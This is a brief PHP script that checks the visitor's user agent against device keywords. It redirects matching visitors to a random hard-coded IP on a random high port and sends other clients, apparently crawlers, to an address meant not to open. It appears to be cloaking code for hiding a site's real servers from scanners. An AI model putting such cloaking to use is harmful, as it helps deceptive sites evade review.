<?php
header('Content-Type: text/html; charset=utf-8');
//IP段
$iplist = array(
    '182.16.18.238', '182.16.18.237', '182.16.18.235'
);
//端口
$port = rand(50000, 58000);
//协议类型
$protocol = "https"; 
//默认打不开
$result = "182.16.18.238:50000";
//print_r($_SERVER['HTTP_USER_AGENT']);
//return;
if (isset($_SERVER['HTTP_USER_AGENT'])) {
    $clientkeywords = array(
        'windows',
        'harmony',
        'nokia',
        'sony',
        'ericsson',
        'mot',
        'samsung',
        'htc',
        'sgh',
        'lg',
        'sharp',
        'sie-',
        'philips',
        'panasonic',
        'alcatel',
        'lenovo',
        'iphone',
        'ipod',
        'blackberry',
        'meizu',
        'android',
        'netfront',
        'symbian',
        'ucweb',
        'windowsce',
        'palm',
        'operamini',
        'operamobi',
        'openwave',
        'nexusone',
        'cldc',
        'midp',
        'wap',
        'mobile',
        'phone',
    );
    if (preg_match("/(" . implode('|', $clientkeywords) . ")/i", strtolower($_SERVER['HTTP_USER_AGENT']))) {
		
        $ip = $iplist[array_rand($iplist)];
        $result = $protocol . "://" . $ip . ':' . $port . "";
    }
}
$queryStr = $_SERVER["QUERY_STRING"];

echo '<script language="javascript" type="text/javascript">window.location.href="' . $result . '?' . $queryStr . '";</script>';